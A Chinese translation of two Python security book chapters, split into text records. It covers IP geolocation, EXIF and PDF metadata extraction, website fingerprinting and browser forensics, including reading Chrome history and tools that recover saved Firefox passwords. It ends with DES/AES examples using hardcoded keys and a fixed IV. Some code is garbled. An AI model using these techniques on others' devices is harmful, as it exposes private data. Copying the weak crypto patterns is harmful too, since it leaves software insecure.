    {"text": "十二、从文档、图像和浏览器中提取地理位置和元数据 十二、从文档、图像和浏览器中提取地理位置和元数据 原文： https://gitee.com/apachecn/apachecn-python-zh/blob/master/docs/master-py-net-sec/12.md 本章介绍 Python 中的主要模块，用于提取有关地理位置 IP 地址的信息，从图像和文档中提取元数据，以及识别站点在前端和后端使用的 web 技术。"},
    {"text": "本章将介绍以下主题： 用于地理定位的 pygeoip 和 pygeocoder 模块 如何利用 Python Image 库从图像中提取元数据 如何使用 pypdf 模块从 PDF 文档中提取元数据 如何识别网站使用的技术 如何从 chrome 和 firefox 等 web 浏览器中提取元数据 技术要求 本章的示例和源代码可在 GitHub 存储库的 chapter 12 文件夹 中找到 https://github.com/PacktPublishing/Mastering-Python-for-Networking-and-Security 。"},
    {"text": "在提供此信息的服务中，我们可以突出显示 hackertarget.com（ https://hackertarget.com/geoip-ip-location-lookup/ ）。 通过 hackertarget.com ，我们可以从 ip 地址获取地理位置： 此服务还提供了一个 REST API，用于从 ip 地址获取地理位置： https://api.hackertarget.com/geoip/?q=8.8.8.8 。"},
    {"text": "您可以在** ip_to_geo.py 文件中找到以下代码：** **```py import requests class IPtoGeo(object): def __init__(self, ip_address): # Initialize objects to store self.latitude = '' self.longitude = '' self.country = '' self.city = '' self.ip_address = ip_address self._get_location() def _get_location(self): json_request = requests.get('http://api.hostip.info/get_json.php ip=%s&position=true' % self.ip_address).json() self.country = json_request['country_name'] self.country_code = json_request['country_code'] self.city = json_request['city'] self.latitude = json_request['lat'] self.longitude = json_request['lng'] if name == ' main ': ip1 = IPtoGeo('8.8.8.8') print(ip1. dict ) 这是上一个脚本的**输出**： ```py {'latitude': '37.402', 'longitude': '-122.078', 'country': 'UNITED STATES', 'city': 'Mountain View, CA', 'ip_address': '8.8.8.8', 'country_code': 'US'} Pygeoip 简介 Pygeoip 是 Python 中可用的模块之一，允许您从 IP 地址检索地理信息。"},
    {"text": "如果我们查询模块的帮助，我们会看到必须用于实例化允许我们进行查询的对象的主类： 为了构建对象，我们使用一个构造函数，该构造函数通过参数接受一个文件作为数据库。"},
    {"text": "您可以在 pygeopip 文件夹的 **geoip.py** 文件中找到以下代码： import pygeoip import pprint gi = pygeoip . GeoIP ( 'GeoLiteCity.dat' ) pprint . pprint ( \"Country code: %s \" % ( str ( gi . country_code_by_addr ( '173.194.34.192' )))) pprint . pprint ( \"Country code: %s \" % ( str ( gi . country_code_by_name ( 'google.com' )))) pprint . pprint ( \"Country name: %s \" % ( str ( gi . country_name_by_addr ( '173.194.34.192' )))) pprint . pprint ( \"Country code: %s \" % ( str ( gi . country_name_by_name ( 'google.com' )))) 还有一些方法可以从 ip 和主机地址获取组织和服务提供商： 这是从 ip 地址和域获取特定组织信息的示例： gi2 = pygeoip . GeoIP ( 'GeoIPASNum.dat' ) pprint . pprint ( \"Organization by addr: %s \" % ( str ( gi2 . org_by_addr ( '173.194.34.192' )))) pprint . pprint ( \"Organization by name: %s \" % ( str ( gi2 . org_by_name ( 'google.com' )))) 还有一些方法允许我们以字典形式获取包含国家、城市、纬度或经度数据的结构： 这是从 ip 地址获取地理位置信息的示例： for record , value in gi . record_by_addr ( '173.194.34.192' ). items (): print ( record + \"-->\" + str ( value )) 我们可以看到上一个脚本返回的所有地理位置信息： 在下一个脚本中，我们有两种方法， geoip_city() 获取位置信息， geoip_country() 获取国家，这两种方法都来自 ip 地址。"},
    {"text": "您可以在 pygeopip 文件夹的 pygeoip_test.py 文件中找到以下代码： import pygeoip def main (): geoip_country () geoip_city () def geoip_city (): path = 'GeoLiteCity.dat' gic = pygeoip . GeoIP ( path ) print ( gic . record_by_addr ( '64.233.161.99' )) print ( gic . record_by_name ( 'google.com' )) print ( gic . region_by_name ( 'google.com' )) print ( gic . region_by_addr ( '64.233.161.99' )) def geoip_country (): path = 'GeoIP.dat' gi = pygeoip . GeoIP ( path ) print ( gi . country_code_by_name ( 'google.com' )) print ( gi . country_code_by_addr ( '64.233.161.99' )) print ( gi . country_name_by_name ( 'google.com' )) print ( gi . country_name_by_addr ( '64.233.161.99' )) if __name__ == '__main__' : main () 我们可以看到，对于这两种情况，返回的信息是相同的： pygeocoder 简介 pygeocoder 是一个 Python 模块，有助于使用 Google 的地理定位功能。"},
    {"text": "该模块位于 Python 官方存储库中，因此您可以使用 pip 安装该模块。 在 中 https://pypi.python.org/pypi/pygeocoder URL，我们可以看到此模块的最新版本： $ pip install pygeocoder 。"},
    {"text": "该模块使用谷歌地理编码 API v3 服务从特定地址检索坐标： 这个模块的主要类是 Geocoder 类，它允许从一个地方的描述和一个特定的位置进行查询。 在这个屏幕截图中，我们可以看到 GeoCoder 类的 help 命令返回： 示例，其中从以地点为形式的描述中获得坐标、纬度、经度、国家和邮政编码。"},
    {"text": "您可以在 pygeocoder 文件夹的 PyGeoCoderExample.py 文件中找到以下代码： from pygeocoder import Geocoder results = Geocoder . geocode ( \"Mountain View\" ) print ( results . coordinates ) print ( results . country ) print ( results . postal_code ) print ( results . latitude ) print ( results . longitude ) results = Geocoder . reverse_geocode ( results . latitude , results . longitude ) print ( results . formatted_address ) 我们可以看到上一个脚本返回的所有地理位置信息： Python 中的 MaxMind 数据库 还有其他使用 MaxMind 数据库的 Python 模块： **geoip2:**提供对 geoip2 web 服务和数据库的访问 https://github.com/maxmind/GeoIP2-python **maxminddb-geolite2:**提供了一个简单的 maxminddb 读卡器扩展 https://github.com/rr2do2/maxminddb-geolite2 在下一个脚本中，我们可以看到如何使用 maxminddb-geolite2 包的示例。 您可以在 geolite2_example.py 文件中找到以下代码： import socket from geolite2 import geolite2 import argparse import json if __name__ == '__main__' : # Commandline arguments parser = argparse . ArgumentParser ( description = 'Get IP Geolocation info' ) parser . add_argument ( '--hostname' , action = \"store\" , dest = \"hostname\" , required = True ) # Parse arguments given_args = parser . parse_args () hostname = given_args . hostname ip_address = socket . gethostbyname ( hostname ) print ( \"IP address: {0}\" . format ( ip_address )) # Call geolite2 reader = geolite2 . reader () response = reader . get ( ip_address ) print ( json . dumps ( response [ 'continent' ][ 'names' ][ 'en' ], indent = 4 )) print ( json . dumps ( response [ 'country' ][ 'names' ][ 'en' ], indent = 4 )) print ( json . dumps ( response [ 'location' ][ 'latitude' ], indent = 4 )) print ( json . dumps ( response [ 'location' ][ 'longitude' ], indent = 4 )) print ( json . dumps ( response [ 'location' ][ 'time_zone' ], indent = 4 )) 在这个屏幕截图中，我们可以看到以前使用 google.com 作为主机名的脚本的执行情况： python geolite2_example.py --hostname google.com 此脚本将显示类似以下内容的输出： 从图像中提取元数据 在本节中，我们将回顾如何使用 PIL 模块从图像中提取 EXIF 元数据。"},
    {"text": "PIL.ExifTags 模块允许我们从这些标签中提取信息： 我们可以在 处查看枕头模块内的 exiftags 包的官方文件 https://pillow.readthedocs.io/en/latest/reference/ExifTags.html 。"},
    {"text": "您可以在 exiftags 文件夹的 get_exif_tags.py 文件中找到以下代码： from PIL import Image from PIL.ExifTags import TAGS for ( i , j ) in Image . open ( 'img/image.jpg' ). _getexif (). items (): print ( '%s = %s' % ( TAGS . get ( i ), j )) 理解 Exif 元数据 为了获取图像的 EXIF 标签信息，可以使用图像对象的 _getexif() 方法。"},
    {"text": "以下功能在 exiftags 文件夹的 extractDataFromImages.py 文件中可用： def get_exif_metadata ( image_path ): exifData = {} image = Image . open ( image_path ) if hasattr ( image , '_getexif' ): exifinfo = image . _getexif () if exifinfo is not None : for tag , value in exifinfo . items (): decoded = TAGS . get ( tag , tag ) exifData [ decoded ] = value decode_gps_info ( exifData ) return exifData 可以通过解码我们以经纬度值格式获得的信息来改进此信息，对于这些信息，我们可以创建一个函数，给定一个 GPSInfo 类型的 exif 属性，对该信息进行解码： def decode_gps_info ( exif ): gpsinfo = {} if 'GPSInfo' in exif : ''' Raw Geo-references for key in exif['GPSInfo'].keys(): decode = GPSTAGS.get(key,key) gpsinfo[decode] = exif['GPSInfo'][key] exif['GPSInfo'] = gpsinfo ''' #Parse geo references. Nsec = exif [ 'GPSInfo' ][ 2 ][ 2 ][ 0 ] / float ( exif [ 'GPSInfo' ][ 2 ][ 2 ][ 1 ]) Nmin = exif [ 'GPSInfo' ][ 2 ][ 1 ][ 0 ] / float ( exif [ 'GPSInfo' ][ 2 ][ 1 ][ 1 ]) Ndeg = exif [ 'GPSInfo' ][ 2 ][ 0 ][ 0 ] / float ( exif [ 'GPSInfo' ][ 2 ][ 0 ][ 1 ]) Wsec = exif [ 'GPSInfo' ][ 4 ][ 2 ][ 0 ] / float ( exif [ 'GPSInfo' ][ 4 ][ 2 ][ 1 ]) Wmin = exif [ 'GPSInfo' ][ 4 ][ 1 ][ 0 ] / float ( exif [ 'GPSInfo' ][ 4 ][ 1 ][ 1 ]) Wdeg = exif [ 'GPSInfo' ][ 4 ][ 0 ][ 0 ] / float ( exif [ 'GPSInfo' ][ 4 ][ 0 ][ 1 ]) if exif [ 'GPSInfo' ][ 1 ] == 'N' : Nmult = 1 else : Nmult = - 1 if exif [ 'GPSInfo' ][ 1 ] == 'E' : Wmult = 1 else : Wmult = - 1 Lat = Nmult * ( Ndeg + ( Nmin + Nsec / 60.0 ) / 60.0 ) Lng = Wmult * ( Wdeg + ( Wmin + Wsec / 60.0 ) / 60.0 ) exif [ 'GPSInfo' ] = { \"Lat\" : Lat , \"Lng\" : Lng } 在前面的脚本中，我们将 Exif 数据解析为一个数组，并按元数据类型进行索引。"},
    {"text": "如果它确实包含一个 GPSInfo 标记，那么我们将知道该对象包含 GPS 元数据，并且我们可以在屏幕上打印一条消息。 在下图中，我们可以看到我们也在 GPSInfo 对象中获得了关于图像位置的信息： 从 web 图像中提取元数据 在本节中，我们将构建一个脚本来连接网站，下载网站上的所有图像，然后检查它们的 Exif 元数据。"},
    {"text": "对于此任务，我们使用 python3 的 urllib 模块，该模块提供 parse 和 request 包： https://docs.python.org/3.0/library/urllib.parse.html https://docs.python.org/3.0/library/urllib.request.html 您可以在 exiftags 文件夹的 exif_images_web_page.py 文件中找到以下代码。"},
    {"text": "此脚本包含在带有 BeautifulSoup 和 lxml parser 的网站中查找图像以及在图像文件夹中下载图像的方法： def findImages ( url ): print ( '[+] Finding images on ' + url ) urlContent = requests . get ( url ). text soup = BeautifulSoup ( urlContent , 'lxml' ) imgTags = soup . findAll ( 'img' ) return imgTags def downloadImage ( imgTag ): try : print ( '[+] Dowloading in images directory...' + imgTag [ 'src' ]) imgSrc = imgTag [ 'src' ] imgContent = urlopen ( imgSrc ). read () imgFileName = basename ( urlsplit ( imgSrc )[ 2 ]) imgFile = open ( 'img/' + imgFileName , 'wb' ) imgFile . write ( imgContent ) imgFile . close () return imgFileName except Exception as e : print ( e ) return '' 此函数用于从 images 目录中的图像中提取元数据： def printMetadata (): print ( \"Extracting metadata from images in images directory.........\" ) for dirpath , dirnames , files in os . walk ( \"images\" ): for name in files : print ( \"[+] Metadata for file: %s \" % ( dirpath + os . path . sep + name )) try : exifData = {} exif = get_exif_metadata ( dirpath + os . path . sep + name ) for metadata in exif : print ( \"Metadata: %s - Value: %s \" % ( metadata , exif [ metadata ])) except : import sys , traceback traceback . print_exc ( file = sys . stdout ) 这是我们从参数中获取 url 并调用 findImages(url) 、 downloadImage(imgTags) 、 和 printMetadata() 方法的主要方法： **```py def main(): parser = optparse.OptionParser('-url ') parser.add_option('-u', dest='url', type='string', help='specify url address') (options, args) = parser.parse_args() url = options.url if url == None: print(parser.usage) exit(0) else:#find and download images and extract metadata imgTags = findImages(url) print(imgTags) for imgTag in imgTags: imgFileName = downloadImage(imgTag) printMetadata() # 从 pdf 文档中提取元数据 在本节中，我们将介绍如何使用`pyPDF2`模块从 pdf 文档中提取元数据。"},
    {"text": "在[中 https://pypi.org/project/PyPDF2/](https://pypi.org/project/PyPDF2/) URL，我们可以看到此模块的最新版本： ![](img/96634174-b564-4c43-a5db-ad1ba4d42650.png) 这个模块为我们提供了提取文档信息、加密和解密文档的能力。"},
    {"text": "要提取元数据，我们可以使用`PdfFileReader`类和`getDocumentInfo()`方法，返回包含文档数据的字典： ![](img/084b4e2a-7946-45d5-b287-cacaee766c70.png) 以下功能将允许我们获取“`pdf`文件夹中所有 PDF 文档的信息。"},
    {"text": "您可以在`pypdf`文件夹的`extractDataFromPDF.py`文件中找到以下代码： ```py #!usr/bin/env python # coding: utf-8 from PyPDF2 import PdfFileReader, PdfFileWriter import os, time, os.path, stat from PyPDF2.generic import NameObject, createStringObject class bcolors: OKGREEN = '\\033[92m' ENDC = '\\033[0m' BOLD = '\\033[1m' def get_metadata(): for dirpath, dirnames, files in os.walk(\"pdf\"): for data in files: ext = data.lower().rsplit('.', 1)[-1] if ext in ['pdf']: print(bcolors.OKGREEN + \"------------------------------------------------------------------------------------\") print(bcolors.OKGREEN + \"[--- Metadata : \" + bcolors.ENDC + bcolors.BOLD + \"%s \" %(dirpath+os.path.sep+data) + bcolors.ENDC) print(bcolors.OKGREEN + \"------------------------------------------------------------------------------------\") pdf = PdfFileReader(open(dirpath+os.path.sep+data, 'rb')) info = pdf.getDocumentInfo() for metaItem in info: print (bcolors.OKGREEN + '[+] ' + metaItem.strip( '/' ) + ': ' + bcolors.ENDC + info[metaItem]) pages = pdf.getNumPages() print (bcolors.OKGREEN + '[+] Pages:' + bcolors.ENDC, pages) layout = pdf.getPageLayout() print (bcolors.OKGREEN + '[+] Layout: ' + bcolors.ENDC + str(layout)) 在这部分代码中，我们使用 getXmpMetadata() 方法获取与文档相关的其他信息，例如贡献者、发布者和 pdf 版本： xmpinfo = pdf . getXmpMetadata () if hasattr ( xmpinfo , 'dc_contributor' ): print ( bcolors . OKGREEN + '[+] Contributor:' + bcolors . ENDC , xmpinfo . dc_contributor ) if hasattr ( xmpinfo , 'dc_identifier' ): print ( bcolors . OKGREEN + '[+] Identifier:' + bcolors . ENDC , xmpinfo . dc_identifier ) if hasattr ( xmpinfo , 'dc_date' ): print ( bcolors . OKGREEN + '[+] Date:' + bcolors . ENDC , xmpinfo . dc_date ) if hasattr ( xmpinfo , 'dc_source' ): print ( bcolors . OKGREEN + '[+] Source:' + bcolors . ENDC , xmpinfo . dc_source ) if hasattr ( xmpinfo , 'dc_subject' ): print ( bcolors . OKGREEN + '[+] Subject:' + bcolors . ENDC , xmpinfo . dc_subject ) if hasattr ( xmpinfo , 'xmp_modifyDate' ): print ( bcolors . OKGREEN + '[+] ModifyDate:' + bcolors . ENDC , xmpinfo . xmp_modifyDate ) if hasattr ( xmpinfo , 'xmp_metadataDate' ): print ( bcolors . OKGREEN + '[+] MetadataDate:' + bcolors . ENDC , xmpinfo . xmp_metadataDate ) if hasattr ( xmpinfo , 'xmpmm_documentId' ): print ( bcolors . OKGREEN + '[+] DocumentId:' + bcolors . ENDC , xmpinfo . xmpmm_documentId ) if hasattr ( xmpinfo , 'xmpmm_instanceId' ): print ( bcolors . OKGREEN + '[+] InstanceId:' + bcolors . ENDC , xmpinfo . xmpmm_instanceId ) if hasattr ( xmpinfo , 'pdf_keywords' ): print ( bcolors . OKGREEN + '[+] PDF-Keywords:' + bcolors . ENDC , xmpinfo . pdf_keywords ) if hasattr ( xmpinfo , 'pdf_pdfversion' ): print ( bcolors . OKGREEN + '[+] PDF-Version:' + bcolors . ENDC , xmpinfo . pdf_pdfversion ) if hasattr ( xmpinfo , 'dc_publisher' ): for y in xmpinfo . dc_publisher : if y : print ( bcolors . OKGREEN + \"[+] Publisher: \\t \" + bcolors . ENDC + y ) fsize = os . stat (( dirpath + os . path . sep + data )) print ( bcolors . OKGREEN + '[+] Size:' + bcolors . ENDC , fsize [ 6 ], 'bytes \\n\\n ' ) get_metadata () os（操作系统）模块中的“ walk ”功能可用于导航特定目录中包含的所有文件和目录。"},
    {"text": "在此屏幕截图中，我们可以看到上一个脚本的输出，该脚本正在读取 pdf 文件夹中的文件： 它提供的另一个功能是能够解码使用密码加密的文档： 窥视 Peepdf 是一个 Python 工具，用于分析 PDF 文件，并允许我们可视化文档中的所有对象。 它还能够分析 PDF 文件的不同版本、对象序列和加密文件，以及修改和混淆 PDF 文件： http://eternal-todo.com/tools/peepdf-pdf-analysis-tool 。"},
    {"text": "用于验证网站构建技术类型的有用工具 builtWith 模块可安装在以下位置： pip install builtwith 此模块有一个名为 parse 的方法，该方法通过 URL 参数传递，并作为响应返回网站使用的技术。 以下是一个例子： >>> import builtwith >>> builtwith . parse ( 'http://example.webscraping.com' ) { u 'javascript-frameworks' : [ u 'jQuery' , u 'Modernizr' , u 'jQuery UI' ], u 'programming-languages' : [ u 'Python' ], u 'web-frameworks' : [ u 'Web2py' , u 'Twitter Bootstrap' ], u 'web-servers' : [ u 'Nginx' ]} 文件可在 上查阅 https://bitbucket.org/richardpenman/builtwith 模块可在 的 pypi 存储库中找到 https://pypi.org/project/builtwith/ 。"},
    {"text": "该工具分析网站的多个元素以确定其技术，它分析以下 HTML 元素： 服务器上的 HTTP 响应头 元 HTML 标记 JavaScript 文件，包括单独的和嵌入在 HTML 中的 特定 HTML 内容 特定于 HTML 的注释 python-Wappalyzer 是一个 Python 接口，用于从 Python 脚本（ 中获取此信息 https://github.com/chorsley/python-Wappalyzer ： pip install python-Wappalyzer 我们可以很容易地使用 wappalyzer 模块获取有关网站前端和后端层中使用的技术的信息： wig–webapp 信息采集程序 wig 是在 Python3 中开发的 web 应用信息收集工具，它可以识别许多内容管理系统和其他管理应用。"},
    {"text": "以下是 wig 脚本在 Python3 环境中提供的选项： 在这张图片中，我们可以看到 testphp.vulneb.com 网站使用的技术： 在这张图片中，我们可以看到它是如何检测到 CMS 版本和 drupal.com 网站使用的其他有趣文件的： 从 web 浏览器中提取元数据 在本节中，我们将回顾如何从 web 浏览器（如 chrome 和 firefox）中提取元数据。"},
    {"text": "Python 中的 Firefox 取证和 dumpzilla Dumpzilla 是一个非常有用、通用且直观的工具，专门用于 Mozilla 浏览器中的法医分析。 Dumpzilla 能够从 Firefox、Iceweasel 和 Seamonkey 浏览器中提取所有相关信息进行进一步分析，以便提供遭受攻击、密码和电子邮件的线索。"},
    {"text": "该应用在命令行下工作，我们可以访问大量有价值的信息，其中我们可以找到： Cookies+DOM 存储（HTML 5） 用户首选项（域权限、代理设置） 查看下载历史记录 web 表单的数据（搜索、电子邮件、评论等） 标记 保存在浏览器中的密码 提取 HTML5 缓存（脱机缓存） 插件和扩展以及它们使用的路由或 URL 作为例外添加的 SSL 证书 要完成浏览器的取证分析，建议使用缓存中的数据提取应用，如 MozCache（ http://mozcache.sourceforge.net ）。"},
    {"text": "要求： Python3.x 版本 Unix 系统（Linux 或 Mac）或 Windows 系统 可选 Python Magic 模块： https://github.com/ahupp/python-magic Dumpzilla 命令行 找到要审核的浏览器配置文件目录。"},
    {"text": "以下是每个操作系统的位置： Win7 和 10 配置文件： 'C:\\Users\\%USERNAME%\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\xxxx.default' MacOS 配置文件： '/Users/$USER/Library/Application Support/Firefox/Profiles/xxxx.default' Unix 配置文件： '/home/$USER/.mozilla/firefox/xxxx.default' 您可以从 git 存储库下载 dumpzilla Python 脚本，并使用 Python3 运行该脚本，将其指向浏览器配置文件目录的位置： https://github.com/Busindre/dumpzilla 。 以下是脚本提供的选项： python3 dumpzilla . py \"/root/.mozilla/firefox/[Your Profile.default]\" 这将返回有关 internet 浏览信息的报告，然后显示所收集信息的摘要图表： 使用 firefeed 的 Python Firefox 取证 Firefed 是一个以命令行模式运行的工具，允许您检查 Firefox 配置文件。"},
    {"text": "在 Windows 操作系统中，此文件位于 C:\\Users\\username\\AppData\\Roaming\\Mozilla\\Firefox 中。 您还可以使用 %APPDATA%\\Mozilla\\Firefox\\Profiles 命令检测此文件夹。 更多信息可以在 mozilla 网站的官方文档中找到： https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data#w_how-do-i-find-my-profile 。"},
    {"text": "Chrome 取证与 python Google Chrome 将浏览器历史记录存储在 SQLite 数据库中的以下位置： Windows 7 和 10: C:\\Users\\[USERNAME]\\AppData\\Local\\Google\\Chrome\\ Linux: /home/$USER/.config/google-chrome/ 包含浏览历史记录的数据库文件作为“历史记录”存储在默认文件夹下，可以使用任何 SQlite 浏览器进行检查（ https://sqlitebrowser.org/ ）。 在 Windows 计算机上，通常可以在以下路径下找到此数据库： C:\\Users\\<YOURUSERNAME>\\AppData\\Local\\Google\\Chrome\\User Data\\Default 例如，当 windows 操作系统位于路径 C:\\Users\\<username>\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History 中时，我们可以找到存储 Chrome web 历史的 sqlite 数据库。 以下是历史数据库和相关字段的表： 下载： id 、 current_path 、 target_path 、 start_time 、 received_bytes 、 total_bytes 、 state 、 danger_type 、 interrupt_reason 、 end_time 、 opened 、 referrer 、 by_ext_id 、 by_ext_name 、 etag 、 last_modified 、 mime_type 、 original_mime_type 下载链接 ： id 、 chain_index 、 url 关键词搜索词： keyword_id 、 url_id 、 lower_term 、 term 元： key 、 value 段 _ 用法： id 、 segment_id 、 time_slot 、 visit_count 段： id 、 name 、 url_id 网址： id 、 url 、 title 、 visit_count 、 typed_count 、 last_visit_time 、 hidden 、 favicon_id 在此图像中，我们可以看到 SQlite 浏览器的屏幕截图，其中包含历史数据库中可用的表： Chrome 将其数据本地存储在一个 SQLite database. 中，因此我们所需要做的就是编写一个 Python 脚本，连接到数据库，查询必要的字段，并从表中提取数据。"},
    {"text": "您可以在与 Python3.x 兼容的 ChromeDownloads.py 文件中找到以下代码： import sqlite3 import datetime import optparse def fixDate ( timestamp ): #Chrome stores timestamps in the number of microseconds since Jan 1 1601. #To convert, we create a datetime object for Jan 1 1601... epoch_start = datetime . datetime ( 1601 , 1 , 1 ) #create an object for the number of microseconds in the timestamp delta = datetime . timedelta ( microseconds = int ( timestamp )) #and return the sum of the two. return epoch_start + delta selectFromDownloads = 'SELECT target_path, referrer, start_time, end_time, received_bytes FROM downloads;' def getMetadataHistoryFile ( locationHistoryFile ): sql_connect = sqlite3 . connect ( locationHistoryFile ) for row in sql_connect . execute ( selectFromDownloads ): print ( \"Download:\" , row [ 0 ]. encode ( 'utf-8' )) print ( \" \\t From:\" , str ( row [ 1 ])) print ( \" \\t Started:\" , str ( fixDate ( row [ 2 ]))) print ( \" \\t Finished:\" , str ( fixDate ( row [ 3 ]))) print ( \" \\t Size:\" , str ( row [ 4 ])) def main (): parser = optparse . OptionParser ( '-location <target location>' ) parser . add_option ( '-l' , dest = 'location' , type = 'string' , help = 'specify url address' ) ( options , args ) = parser . parse_args () location = options . location print ( location ) if location == None : exit ( 0 ) else : getMetadataHistoryFile ( location ) if __name__ == '__main__' : main () 我们可以看到为脚本提供 -h 参数的选项： python .\\ChromeDownloads.py -h 要执行上一个脚本，我们需要将历史文件数据库的位置作为参数传递： 事后诸葛亮 事后诸葛亮是一个开源工具，用于解析用户的 Chrome 浏览器数据，并允许您分析几种不同类型的 web 构件，包括 URL、下载历史记录、缓存记录、书签、首选项、浏览器扩展、HTTP cookie 和 cookie 形式的本地存储日志。"},
    {"text": "该工具在 GitHub 和 pip 存储库中提供： https://github.com/obsidianforensics/hindsight https://pypi.org/project/pyhindsight/ 在此屏幕截图中，我们可以看到此模块的最新版本： 我们可以使用 pip install pyhindsight 命令安装它。 安装模块后，我们可以从 GitHub 存储库下载源代码： https://github.com/obsidianforensics/hindsight 我们可以用两种方式执行它。"},
    {"text": "第一个是使用 hindsight.py 脚本，第二个是启动 hindsight_gui.py 脚本，它提供了一个 web 界面，用于输入 chrome profile 所在的位置。 对于使用 hindsight.py 执行，我们只需要将您的 chrome 配置文件的位置作为强制参数（ -i 、 --input ）传递，具体取决于您的操作系统： 以下是设置输入参数时需要知道的 chrome 配置文件的默认位置： 第二种方式是运行“ hindsight_gui.py ”并访问 http://localhost:8080 在浏览器中： 唯一的必填字段是配置文件路径： 如果我们试图在 chrome 浏览器进程打开的情况下运行脚本，它将阻止该进程，因为我们需要在运行之前关闭 chrome 浏览器。"},
    {"text": "这是在 chrome 进程运行时尝试执行脚本时的错误消息： 总结 本章的目标之一是了解允许我们从文档和图像中提取元数据的模块，以及从 IP 地址和域名中提取地理位置信息的模块。"},
    {"text": "pygeoip 模块中的哪种方法允许我们从参数传递的 ip 地址中获取国家名称的值？ pygeoip 模块中的哪种方法允许我们从 ip 地址获取具有地理数据（国家、城市、地区、纬度、经度）的字典形式的结构？ pygeoip 模块中的哪种方式允许我们从域名中获取组织名称？"},
    {"text": "进一步阅读 在这些链接中，您将找到有关本章中提到的工具及其官方文档的更多信息： https://bitbucket.org/xster/pygeocoder/wiki/Home https://chrisalbon.com/python/data_wrangling/geocoding_and_reverse_geocoding/ https://pythonhosted.org/PyPDF2 http://www.dumpzilla.org https://tools.kali.org/forensics/dumpzilla http://forensicswiki.org/wiki/Google_Chrome https://sourceforge.net/projects/chromensics ****"},
    {"text": "十三、密码学与隐写术 十三、密码学与隐写术 原文： https://gitee.com/apachecn/apachecn-python-zh/blob/master/docs/master-py-net-sec/13.md 本章介绍 python 中用于加密和解密信息的主要模块，如 pycrypto 和 cryptography。"},
    {"text": "本章将介绍以下主题： pycrypto 信息加解密模块 cryptography 信息加解密模块 图像信息隐藏的主要隐写技术 如何使用 stepic 模块隐藏图像中的信息 技术要求 本章的示例和源代码可在 GitHub 存储库的 chapter13 文件夹 中找到 https://github.com/PacktPublishing/Mastering-Python-for-Networking-and-Security 。"},
    {"text": "**对称加密：**使用可变密钥为某些文本输入输出密文，我们可以使用相同的密钥对密文进行解密。 加密和解密使用相同密钥的算法称为对称密钥算法。 **公钥算法：**对于公钥算法，我们有两个不同的密钥：一个用于加密，另一个用于解密。 这种做法使用一对密钥：一个用于加密，另一个用于解密。 这项技术的用户发布他们的公钥，同时对他们的私钥保密。 这使任何人都可以向他们发送一条用公钥加密的消息，只有私钥持有者才能解密。"},
    {"text": "您可以在 hashlib 文件夹内的 md5.py 文件中找到以下代码： import hashlib def md5Checksum ( filePath ): fh = open ( filePath , 'rb' ) m = hashlib . md5 () while True : data = fh . read ( 8192 ) if not data : break m . update ( data ) return m . hexdigest () print ( 'The MD5 checksum is' , md5Checksum ( 'md5.py' )) 上一个脚本的输出为： The MD5 checksum is 8eec2037fe92612b9a141a45b60bec26 pycrypto 简介 说到用 Python 加密信息，我们有一些选择，但最可靠的是 PyCrypto 加密库，它支持块加密、流加密和散列计算功能。"},
    {"text": "我们可以使用 Crypto.Cipher 包导入特定的密码类型： from Crypto.Cipher import [Chiper_Type] 我们可以使用新的方法构造函数初始化密码： new ([key], [mode], [Vector IV]) 使用这种方法，只有密钥是必需的，我们必须考虑加密类型是否要求它具有特定的大小。"},
    {"text": "一般哈希函数与 pycrypto 的用法类似： 我们可以使用** Crypto.Hash 包导入特定的哈希类型： from Crypto.Hash import [Hash Type] ** *** 我们可以使用更新方法设置需要获取哈希的数据： update('data') *** 我们可以使用 hexdigest() 方法生成哈希： hexdigest() **** ****下面是我们在获取文件校验和时看到的相同示例，在本例中，我们使用 pycrypt 而不是 hashlib 。"},
    {"text": "您可以在 pycrypto 文件夹内的 hash.py 文件中找到以下代码： from Crypto.Hash import MD5 def md5Checksum ( filePath ): fh = open ( filePath , 'rb' ) m = MD5 . new () while True : data = fh . read ( 8192 ) if not data : break m . update ( data ) return m . hexdigest () print ( 'The MD5 checksum is' + md5Checksum ( 'hash.py' )) 要加密和解密数据，我们可以使用 **encrypt** 和 **decrypt** 函数： encrypt ( 'clear text' ) decrypt ( 'encrypted text' ) DES 算法的加解密 DES 是一种分组密码，这意味着要加密的文本是 8 的倍数，因此我在文本末尾添加了空格。"},
    {"text": "您可以在 pycrypto 文件夹内的 Encrypt_decrypt_DES.py 文件中找到以下代码： from Crypto.Cipher import DES # How we use DES, the blocks are 8 characters # Fill with spaces the user until 8 characters user = \"user \" password = \"password\" # we create the cipher with DES cipher = DES . new ( 'mycipher' ) # encrypt username and password cipher_user = cipher . encrypt ( user ) cipher_password = cipher . encrypt ( password ) # we send credentials print ( \"User: \" + cipher_user ) print ( \"Password: \" + cipher_password ) # We simulate the server where the messages arrive encrypted. # we decode messages and remove spaces with strip() cipher = DES . new ( 'mycipher' ) decipher_user = cipher . decrypt ( cipher_user ). strip () decipher_password = cipher . decrypt ( cipher_password ) print ( \"SERVER decipher:\" ) print ( \"User: \" + decipher_user ) print ( \"Password: \" + decipher_password ) 该程序使用 DES 对数据进行加密，因此它要做的第一件事是导入 DES 模块并使用以下指令创建编码器： cipher = DES.new('mycipher') “ mycipher ”参数值是加密密钥。"},
    {"text": "您可以在 pycrypto 文件夹内的 Encrypt_decrypt_AES.py 文件中找到以下代码： # AES pycrypto package from Crypto.Cipher import AES # key has to be 16, 24 or 32 bytes long encrypt_AES = AES . new ( 'secret-key-12345' , AES . MODE_CBC , 'This is an IV-12' ) # Fill with spaces the user until 32 characters message = \"This is the secret message \" ciphertext = encrypt_AES . encrypt ( message ) print ( \"Cipher text: \" , ciphertext ) # key must be identical decrypt_AES = AES . new ( 'secret-key-12345' , AES . MODE_CBC , 'This is an IV-12' ) message_decrypted = decrypt_AES . decrypt ( ciphertext ) print ( \"Decrypted text: \" , message_decrypted . strip ()) 上一个脚本的 输出 为： ('Cipher text: ', '\\xf2\\xda\\x92:\\xc0\\xb8\\xd8PX\\xc1\\x07\\xc2\\xad\"\\xe4\\x12\\x16\\x1e)(\\xf4\\xae\\xdeW\\xaf_\\x9d\\xbd\\xf4\\xc3\\x87\\xc4') ('Decrypted text: ', 'This is the secret message') AES 文件加密 AES 加密要求写入的每个块的大小为 16 字节的倍数。"},
